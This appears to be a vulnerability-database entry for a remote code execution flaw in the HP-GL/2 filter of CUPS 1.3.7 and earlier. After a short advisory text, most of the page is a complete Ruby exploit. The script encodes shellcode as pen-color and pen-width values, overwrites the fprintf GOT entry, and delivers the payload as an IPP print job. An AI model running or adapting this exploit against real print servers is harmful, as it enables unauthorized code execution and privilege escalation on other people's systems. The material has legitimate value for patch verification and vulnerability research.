Lucene search
K

CUPS <= 1.3.7 'HP-GL/2' Filter Remote Code Execution Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

CUPS remote code execution vulnerability in 'HP-GL/2' filter <= 1.3.

Code

                                                source: http://www.securityfocus.com/bid/31688/info

CUPS is prone to a remote code-execution vulnerability caused by an error in the &#39;HP-GL/2 filter.

Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will likely cause a denial-of-service condition. Note that local users may also exploit this vulnerability to elevate privileges.

Successful remote exploits may require printer sharing to be enabled on the vulnerable system.

The issue affects versions prior to CUPS 1.3.9.

NOTE: This issue was previously discussed in BID 31681 (Apple Mac OS X 2008-007 Multiple Security Vulnerabilities), but has been assigned its own record to better document the vulnerability. 

#!/usr/bin/ruby -w

# CUPS 1.3.7 (HP-GL/2 filter) remote code execution
# gives uid=2(daemon) gid=7(lp) groups=7(lp)
# linux 2.6.25/randomize_va_space = 1, glibc 2.7
#
# An Introduction to HP-GL/2 Graphics
# http://www.tech-diy.com/HP%20Graphics%20Language.htm
# Internet Printing Protocol/1.1: Encoding and Transport
# http://tools.ietf.org/html/rfc2910
# Internet Printing Protocol/1.1: Model and Semantics
# http://tools.ietf.org/html/rfc2911

# :::::::::::::::::::::::::::::::::: setup ::::::::::::::::::::::::::::::::::

host = &#39;127.0.0.1&#39;
port = 631
printer = &#39;Virtual_Printer&#39;

Pens_addr = 0x08073600		# objdump -T hpgltops | grep Pens$
fprintf_got = 0x080532cc	# objdump -R hpgltops | grep fprintf

# linux_ia32_exec - CMD=/bin/touch /tmp/yello Size=84, metasploit.com
# encoder=PexFnstenvSub, restricted chars: 0xff
shellcode =
	&#34;\x2b\xc9\x83\xe9\xf1\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7c&#34; +
	&#34;\x48\x22\xd6\x83\xeb\xfc\xe2\xf4\x16\x43\x7a\x4f\x2e\x2e\x4a\xfb&#34; +
	&#34;\x1f\xc1\xc5\xbe\x53\x3b\x4a\xd6\x14\x67\x40\xbf\x12\xc1\xc1\x84&#34; +
	&#34;\x94\x5e\x22\xd6\x7c\x67\x40\xbf\x12\x67\x56\xb9\x09\x2b\x4a\xf6&#34; +
	&#34;\x53\x3c\x4f\xa6\x53\x31\x47\xba\x10\x27\x22\x81\x2f\xc1\xc3\x1b&#34; +
	&#34;\xfc\x48\x22\xd6&#34;;

# :::::::::::::::::::::::::::::::::: code :::::::::::::::::::::::::::::::::::

# beacause of hpgl-attr.c:68-73 and 269-274
def CR_setup()
	&#34;CR0,1,0,1,0,1;&#34;
end

# PS is a bit tricky here. final weight of pen (PW code) is calculated as:
# weight*=hypot(ps[0],ps[1])/1016.0*72.0 (which is NOT hypot/73152.0),
# where ps0=72.0*arg1/1016.0 and ps1=72.0*arg2/1016.0.
# so, hoping to get things accurate I set multiplier to 1.0
def PS_setup()
	&#34;WU1;&#34; +		# set the units used for pen widths
	&#34;RO0;&#34; +		# (do not) rotate the plot
	&#34;PS0,199.123455;&#34;;	# set the plot size
end

# alternative approach to fight floating point rounding errors
# first one seems to be more successful, though
def PS_setup_alt()
	&#34;WU0;&#34; +
	&#34;RO0;&#34;;
end

# set the pen width (PS!)
def PW(width, pen)
	&#34;PW#{width},#{pen};&#34;
end

def PW_alt(width, pen)
	&#34;PW#{width*25.4/72.0},#{pen};&#34;
end

# &#34;Set the pen color...&#34;
def PC(pen, r, g, b)
	&#34;PC#{pen},#{r},#{g},#{b};&#34;
end

# we&#39;ll be storing shellcode in Pens[1024] static buffer
# typedef struct
# {
#   float rgb[3]; /* Pen color */
#   float width;  /* Pen width */
# } pen_t;
def memcpy(data)
	while (data.length % 16 != 0)
		data += &#34;\x90&#34;;
	end
	s = &#39;&#39;
	a = 0, b = 0, i = 0
	data.unpack(&#39;f*&#39;).each { |f|
		case ((i += 1) % 4)
			when 1: a = f
			when 2: b = f
			when 3: s += PC(i/4, a, b, f)
			else s += PW(f, (i-1)/4)
		end
	}
	return s;
end

# overwrite all 16 bytes with the same value
def poke(addr, value)
	f = [value].pack(&#39;i&#39;).unpack(&#39;f&#39;)	# floatyfication!
	i = (addr-Pens_addr)/16
	return PC(i, f, f, f) + PW(f, i)
end

hpgl_data =
	&#34;BP;&#34; + # to be recognized by CUPS
	CR_setup() +
	PS_setup() +
	memcpy(shellcode) +
	poke(fprintf_got, Pens_addr) +
	PC(0, 0, 0, 0); # whatever

def attribute(tag, name, value)
	[tag].pack(&#39;C&#39;) +
	[name.length].pack(&#39;n&#39;) +
	name +
	[value.length].pack(&#39;n&#39;) +
	value
end

# tag - meaning (rfc2910#section-3.5)
# 0x42 nameWithoutLanguage
# 0x45 uri
# 0x47 charset
# 0x48 naturalLanguage
operation_attr =
	attribute(0x47, &#39;attributes-charset&#39;, &#39;utf-8&#39;) +
	attribute(0x48, &#39;attributes-natural-language&#39;, &#39;en-us&#39;) +
	attribute(0x45, &#39;printer-uri&#39;, &#34;http://#{host}:#{port}/printers/#{printer}&#34;) +
	attribute(0x42, &#39;job-name&#39;, &#39;zee greeteengz&#39;) +
	attribute(0x42, &#39;document-format&#39;, &#39;application/vnd.hp-HPGL&#39;);

ipp_data =
	&#34;\x01\x00&#34; +		# version-number: 1.0
	&#34;\x00\x02&#34; +		# operation-id: Print-job
	&#34;\x00\x00\x00\x01&#34; +	# request-id: 1
	&#34;\x01&#34; +		# operation-attributes-tag
	operation_attr +
	&#34;\x02&#34; +		# job-attributes-tag
	&#34;\x03&#34; +		# end-of-attributes-tag
	hpgl_data;

http_request =
&#34;&#34;&#34;POST /printers/#{printer} HTTP/1.1
Content-Type: application/ipp
User-Agent: Internet Print Provider
Host: #{host}
Content-Length: #{ipp_data.length}
Connection: Keep-Alive
Cache-Control: no-cache
&#34;&#34;&#34;

require &#39;socket&#39;
NL = &#34;\r\n&#34;

if (false)
	# ./hpgltops 0 none none 1 &#39;&#39; output.hpgl
	puts hpgl_data
	puts &#34;[+] dumping HP/GL-2 into output.hpgl&#34;
	f = File.new(&#39;output.hpgl&#39;, &#39;w&#39;)
	f.write(hpgl_data)
	f.close()
	exit(0)
end

puts &#34;[+] connecting to #{host}:#{port}&#34;
s = TCPSocket.open(host, port)
puts &#34;[+] asking #{printer} for a printout&#34;
http_request.each_line { |line|
	s.write(line.strip + NL)
}
s.write(NL)
s.write(ipp_data)
s.read(1)
s.close()
puts &#34;[+] done&#34;


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation